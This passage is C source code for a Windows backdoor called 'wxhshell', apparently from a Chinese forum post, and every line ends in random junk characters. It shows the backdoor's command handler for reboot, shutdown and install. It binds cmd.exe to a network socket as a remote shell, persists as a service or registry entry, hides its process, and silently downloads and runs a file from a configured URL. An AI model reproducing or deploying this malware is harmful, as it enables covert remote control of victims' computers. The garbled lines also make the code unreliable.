  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s;!TB6b@  
  } wrw4Uxq  
  else {  )l 0\TF  
a,<l_#'  
    switch(cmd[0]) { xgsEJE  
  quXL'g  
  // 帮助 ;2Aqztp  
  case '?': { $tKz|H)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \NE~k)`4j%  
    break; #-T xhwYs  
  } )fPN6x/e  
  // 安装 v|DgRPY  
  case 'i': { {O24:'K&  
    if(Install()) N]yh8"7X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^FO&GM2a  
    else .%~m|t+Rt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?@n, 9!  
    break; Ife/:v  
    } ;UU`kk  
  // 卸载 o$PY0~#  
  case 'r': {  862e  
    if(Uninstall()) jU~q~e7Te  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "{TVd>9_  
    else VsIDd}~C%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ql2zC9C  
    break; 2%!yV~Z  
    } ks3ydHe`  
  // 显示 wxhshell 所在路径 JU>F&g/|  
  case 'p': { '!\t!@I$  
    char svExeFile[MAX_PATH]; 0oT~6BGm  
    strcpy(svExeFile,"\n\r"); <c; U 0! m  
      strcat(svExeFile,ExeFile); ,)u1r3@I^  
        send(wsh,svExeFile,strlen(svExeFile),0); l$1 ]  
    break; 0j\} @  
    } T?lp:~d  
  // 重启 ya`Z eQ-p  
  case 'b': { \mp2LICQg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $[S)A0O  
    if(Boot(REBOOT)) zG^|W8um_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZovF]jf k  
    else { }Od=WQv+  
    closesocket(wsh); g#*LJ `1  
    ExitThread(0); Z;'5A2  
    } !c2<-3e  
    break; =Z /*  
    } Y|X!da/  
  // 关机 . DrGr:UW  
  case 'd': { [8 I*lsS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6<t<hP_3O  
    if(Boot(SHUTDOWN)) \281X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1Sr#h|  
    else { /#Gm`BT  
    closesocket(wsh); o;[cApiQ,2  
    ExitThread(0); qk}Mb_*C)  
    } 52P^0<Wq  
    break; 2G&H[`  
    } #Fkn-/nL  
  // 获取shell *L{^em#b  
  case 's': { 3UgPVCT  
    CmdShell(wsh); ]^>RBegJBO  
    closesocket(wsh); #&sw%CD  
    ExitThread(0); U-.A+#<IT9  
    break; M`D`-vv  
  } P0c6?K6 j  
  // 退出 W.sH  
  case 'x': { INNTp[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Pp =)_O  
    CloseIt(wsh); o>^ @s4t  
    break; Yu+;vjbK-  
    } fn3DoD+I  
  // 离开 k &6$S9  
  case 'q': { 2{A/Fbk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /4>|6l=  
    closesocket(wsh); 1 ~s$<  
    WSACleanup(); 4<btWbk5u*  
    exit(1); =<.h.n  
    break; fO{'$?K  
        } 5?HoCz]l  
  } g0 k{b  
  } 92D :!C  
7Um3m yXU  
  // 提示信息 \E8CC>Jd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yP"D~u  
} 9xRor<  
  } 83pXj=k<  
|bX{MF  
  return; 4<A+Tf  
} Y;1J` oT  
js[H $  
// shell模块句柄 !=p^@N7  
int CmdShell(SOCKET sock) *kq>Z 06'i  
{ (i@B+c  
STARTUPINFO si; vq8&IL  
ZeroMemory(&si,sizeof(si)); 9$=o({  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E>&oe&`o'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~+&Z4CYb  
PROCESS_INFORMATION ProcessInfo; nA.~}  
char cmdline[]="cmd"; *GC9o/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); de q L  
  return 0; &-(p~[|  
} tS sDW!!M  
!^IAn  
// 自身启动模式 QmY1Bn?s  
int StartFromService(void) X@^"@  
{ mAuN* (  
typedef struct <lf6gb  
{ a {4RG(I_  
  DWORD ExitStatus; !--A"  
  DWORD PebBaseAddress; >-4kO7.V  
  DWORD AffinityMask; zf?U q  
  DWORD BasePriority; )kt,E}609  
  ULONG UniqueProcessId; f4lC*nCN  
  ULONG InheritedFromUniqueProcessId; @WO>F G3  
}   PROCESS_BASIC_INFORMATION; w<G'gi]  
X Frgnnt  
PROCNTQSIP NtQueryInformationProcess; rRd8W}B  
=(]||1 .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tN&_f==e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bw*6X` 'Q  
|<w Z;d  
  HANDLE             hProcess; 5}he)2*uD  
  PROCESS_BASIC_INFORMATION pbi; Ukg iSv+  
Qhsk09K_=4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PtT$#>hx]  
  if(NULL == hInst ) return 0; WG(%Pkowv  
kz?m `~1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (  V H0+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YMIX|bj6Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $S{]` +  
bT#re  
  if (!NtQueryInformationProcess) return 0; -A;4""  
c(!8L\69V}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >TQnCG =  
  if(!hProcess) return 0; 'qnnZE  
ma7@vD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =3<@{^Eg  
@Sd l~'"  
  CloseHandle(hProcess); 4Q5 c'  
h;`]rK;g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .m \y6  
if(hProcess==NULL) return 0; ,?ci+M)  
k{d)'\FM  
HMODULE hMod; /8tF7Mmr  
char procName[255]; ju%t'u\'  
unsigned long cbNeeded; /;\{zA$uC=  
fY{&W@#g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eE-c40Bae  
SVc5mS|up  
  CloseHandle(hProcess); 3f^~mTY9>]  
`1qM Sq  
if(strstr(procName,"services")) return 1; // 以服务启动 a<ztA:xt|1  
R6/vhze4L2  
  return 0; // 注册表启动 Ij}k>qO/2  
} X'KkIo :  
+7|Qd}\X  
// 主模块 N>'|fNx]  
int StartWxhshell(LPSTR lpCmdLine) r%^J3  
{ y&8kORz;?  
  SOCKET wsl; !JE=QG"  
BOOL val=TRUE; AB1,G|L  
  int port=0; QwL'5ws{q  
  struct sockaddr_in door; f0,,<ib.w  
H<bK9k)E  
  if(wscfg.ws_autoins) Install(); .<|.nK`6  
.ECT  
port=atoi(lpCmdLine); Q'n]+%YN  
M4m90C;dq  
if(port<=0) port=wscfg.ws_port; r:*0)UZlD  
Z UCz-53  
  WSADATA data; hJcN*2\:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KsMC+:`F  
F"*.Qq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !p#+I=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qe\JO'g#e  
  door.sin_family = AF_INET; aur4Ky> :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;[>g(W+  
  door.sin_port = htons(port); wqyrs|P  
Ar:ezA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :- Al}7  
closesocket(wsl); KqH_?r`  
return 1; WMw]W&  
} <h7FS90S  
*MBu5 +u%e  
  if(listen(wsl,2) == INVALID_SOCKET) { O5?Gv??@  
closesocket(wsl); fqcFfz6?x  
return 1; c7fQ{"f 3B  
} %Qc5_of  
  Wxhshell(wsl); *tD`X( K  
  WSACleanup(); D+"-(k  
3?rYt:Uf!  
return 0; ZXR#t?D  
}&h* bim  
} g)@d(EYY  
Z[{k-_HgAm  
// 以NT服务方式启动 DfJHH)Ry}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mx<? c  
{ s/"?P/R  
DWORD   status = 0; *+wGXm  
  DWORD   specificError = 0xfffffff; _ Db05:r@  
_poe{@h!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,GH;jw)P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dmkd.aP4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ic4mD:-up  
  serviceStatus.dwWin32ExitCode     = 0; \~#$$Q-qtU  
  serviceStatus.dwServiceSpecificExitCode = 0; a9=pZ1QAG  
  serviceStatus.dwCheckPoint       = 0; }9qbF+b  
  serviceStatus.dwWaitHint       = 0; 4CT _MAj  
3i c6!T#t"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \z4I'"MC.9  
  if (hServiceStatusHandle==0) return; mx'!I7b(L/  
fuQb h  
status = GetLastError(); 6_s_2cr  
  if (status!=NO_ERROR) xp4w9.X5(  
{ lOc!KZHUp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?1G7=R  
    serviceStatus.dwCheckPoint       = 0; keBf^NY  
    serviceStatus.dwWaitHint       = 0; w!=Fi  
    serviceStatus.dwWin32ExitCode     = status; >pVrY; P[  
    serviceStatus.dwServiceSpecificExitCode = specificError; *XCid_{(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P9\!JH!  
    return; ;B'5B]A3  
  } !p4y@U{  
.[1"3!T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g@<E0 q&`$  
  serviceStatus.dwCheckPoint       = 0; Ev R6^n/  
  serviceStatus.dwWaitHint       = 0; R>ak 3Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pnvHh0ck_  
} ):Vzv  
L6xLD X7y  
// 处理NT服务事件,比如:启动、停止 }nQni?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q Z,7q  
{ "K"]/3`k-  
switch(fdwControl) >z`^Q[  
{ 33{(IzL0  
case SERVICE_CONTROL_STOP: FuiEy=+  
  serviceStatus.dwWin32ExitCode = 0; Aj9Onz,Lg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 f" =f^rf  
  serviceStatus.dwCheckPoint   = 0; Zewx*Y|  
  serviceStatus.dwWaitHint     = 0; '%u7XuU-]  
  { fVU9?^0/)9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }SdI _sLe  
  } HywT  
  return; @wy&Z  
case SERVICE_CONTROL_PAUSE: 1;\A./FVv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H9x,C/r,  
  break; ha;Xali ]  
case SERVICE_CONTROL_CONTINUE: A?DgeSm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nTJ-1A7EP  
  break; tA?cHDp4E  
case SERVICE_CONTROL_INTERROGATE: ?y] q\>  
  break; aAlES< r  
}; =aWj+ggd@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6aSDx Sc  
} e~#"#?  
X"hoDg  
// 标准应用程序主函数 P <$)v5f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ndSM*Fq  
{ GAZTCkB"  
+s*OZ6i [  
// 获取操作系统版本 +>em !~3  
OsIsNt=GetOsVer(); cB;:}Q08#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6I$laHx?  
a?zn>tx  
  // 从命令行安装 \(nb >K  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^J?ExMu  
&B^zu+J  
  // 下载执行文件 gaK m`#  
if(wscfg.ws_downexe) { N2?o6)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S~ dD;R  
  WinExec(wscfg.ws_filenam,SW_HIDE); N=>6PLie  
} BFU6?\r  
FS3MR9  
if(!OsIsNt) { F:PaVr3q  
// 如果时win9x,隐藏进程并且设置为注册表启动 pjC2jlwm*  
HideProc(); WjyuaAWY  
StartWxhshell(lpCmdLine); b8?qYm  
} m;=wQYFr{I  
else LQ,RQ~!  
  if(StartFromService()) Zz"b&`K  
  // 以服务方式启动 7x/S4Gs'4  
  StartServiceCtrlDispatcher(DispatchTable); vv2N;/;I  
else p2c4 <f-M  
  // 普通方式启动 9,?\hBEu  
  StartWxhshell(lpCmdLine); 1v)X]nW  
R^}}-Dv r  
return 0; GM.2bA(y  
}
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只看该作者 1 发表于: 2006-10-10
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